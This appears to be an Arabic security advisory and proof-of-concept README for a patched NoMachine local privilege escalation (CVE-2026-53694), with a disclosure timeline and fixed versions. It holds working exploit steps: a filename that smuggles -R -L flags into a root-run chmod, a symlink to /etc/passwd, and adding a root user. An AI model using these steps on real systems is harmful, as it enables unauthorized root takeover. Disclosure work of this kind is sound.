CVE-2026-53694: تصعيد الصلاحيات المحلي في NoMachine عبر حقن الوسائط

نظرة عامة

يحتوي هذا المستودع على التقرير وإثبات المفهوم (PoC) الخاص بـ CVE-2026-53694، وهي ثغرة تصعيد الصلاحيات المحلي (LPE) في NoMachine لنظام Linux.

بسبب عدم التحييد الصحيح لمحددات الوسائط في السكربت nxchmod.sh، يمكن لمستخدم محلي غير متميز بحقن وسائط في أمر نظام يُنفَّذ بصلاحيات root. من خلال الجمع بين حقن الوسائط هذا وارتباط رمزي، يمكن للمهاجم الكتابة فوق ملفات نظام حرجة (مثل /etc/passwd) وتصعيد صلاحياته إلى root.

تم تصحيح هذه الثغرة بالكامل من قبل المورد.

عملية الاكتشاف

كان العثور على هذه الثغرة عملية تجريب وخطأ ولحظة إدراك في وقت متأخر من الليل. إليك كيف تكشّف الاكتشاف:

1. مراقبة الهدف: لاحظت أن السكربت /usr/NX/scripts/restricted/nxchmod.sh كان يُنفَّذ بشكل دوري من قبل مستخدم root لإدارة الصلاحيات في أدلة محددة.
2. الفكرة الأولية (الطريق المسدود): رأيت أن السكربت كان يطبّق chmod a+rw على الملفات. فكرت: إذا تحكمت في الوجهة، هل يمكنني استخدام ارتباط رمزي لجعل /etc/passwd قابلاً للكتابة؟ اختبرت ارتباطاً رمزياً قياسياً (ln -s /etc/passwd /tmp/asdf)، لكنه فشل. تمنع بتة اللزوجة (sticky bit) في Linux على أدلة مثل /tmp مستخدم root من اتباع ارتباط رمزي أنشأه مستخدم آخر بشكل أعمى.
3. الاختراق: أثناء مراجعة تنفيذ السكربت لاحقاً، لاحظت كيف كان الأمر يُبنى: ${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. كان السكربت يأخذ اسم الملف الحرفي ويمرره مباشرة إلى chmod.
4. حقن الأوامر عبر اسم الملف: أدركت أنه يمكنني إنشاء ملف يحتوي على مسافات وأعلام في اسمه. أنشأت ملفاً باسم X1234 -R -L. عندما عمل السكربت، وسّع أمر chmod هذا إلى وسائط بدلاً من مسار ملف واحد.
5. تجاوز بتة اللزوجة: من خلال حقن علمي -L (اتبع الارتباطات الرمزية) و -R (تعاودي) في أمر chmod عبر اسم الملف، أجبرت ثنائي chmod نفسه على تحليل واتباع الارتباط الرمزي الذي أنشأته في الدليل، متجاوزاً حماية بتة اللزوجة بالكامل.
6. تحقيق تصعيد الصلاحيات المحلي: بمجرد أن أصبح /etc/passwd قابلاً للكتابة (a+rw)، كان بإمكاني ببساطة إضافة مستخدم root جديد إلى الملف و su إليه.

التحليل التقني

تنبع الثغرة من كيفية تعامل NoMachine مع الصلاحيات لمقابس X11/Wayland. يُشغَّل السكربت nxchmod.sh من قبل خدمة nxserver.bin التي تعمل بصلاحيات root.

يبدو التنفيذ المصاب هكذا:

# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}

إذا أنشأ المهاجم بنية دليل وملفاً باسم X1234 -R -L، يصبح الأمر الناتج الذي يُنفَّذ بصلاحيات root: /bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L

عندما يوضع ارتباط رمزي يشير إلى /etc/passwd داخل دليل X1234، تجبر الوسائط المحقونة -R و -L الأمر chmod على اتباع الارتباط الرمزي بشكل تعاودي ومنح صلاحيات قراءة/كتابة عامة للملف الهدف.

متطلبات الاستغلال

لكي يعمل هذا الاستغلال، يجب أن يستوفي النظام الهدف الشروط التالية:

• يجب أن يستخدم نظام التشغيل Wayland (وليس X11).
• يجب أن يكون Xwayland نشطاً.
• يجب أن تكون هناك جلسة رسومية قيد التشغيل (شاشة تسجيل الدخول كافية).

إثبات المفهوم

يمكنك إعادة إنتاج هذه الثغرة إما يدوياً باستخدام أوامر shell أو تلقائياً باستخدام سكربت Python المرفق.

الطريقة 1: التنفيذ اليدوي (Shell)

انتقل إلى /tmp/.X11-unix/ ونفّذ الأوامر التالية لإنشاء بنية الدليل الخبيثة.

cd /tmp/.X11-unix/

# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn

# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.

بمجرد أن تتحقق من الثغرة وتصعّد الصلاحيات، نفّذ أوامر التنظيف التالية لاستعادة استقرار النظام وإزالة الآثار:

# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd

الطريقة 2: الاستغلال الآلي

يُقدَّم استغلال آلي كامل في poc.py. يتحقق هذا السكربت من متطلبات Wayland، ويُنشئ الارتباط الرمزي، وينتظر دورة تنفيذ nxchmod.sh ويحقن مستخدم root جديد (gg) في /etc/passwd

لتشغيل الاستغلال:

python3 poc.py

المعالجة

تمت معالجة هذه الثغرة من قبل NoMachine. يجب على المستخدمين التحديث إلى الإصدارات التالية أو أحدث:

• NoMachine 9.5.7
• NoMachine 8.23.2

الجدول الزمني

• 2026-04-20: تم الإبلاغ عن الثغرة إلى المورد.
• 2026-04-23: أكّد المورد الثغرة ووافق على الإفصاح المنسّق.
• 2026-05-07: أصدر المورد إصدارات مصححة (9.5.7 و 8.23.2) ونشر تقرير المشكلة TR04X11802.
• 2026-06-10: نُشر CVE-2026-53694 على NVD.

المراجع

• NoMachine Trouble Report TR04X11802
• NoMachine Software Update SU05X00274
• NoMachine Software Update SU05X00275
• CVE-2026-53694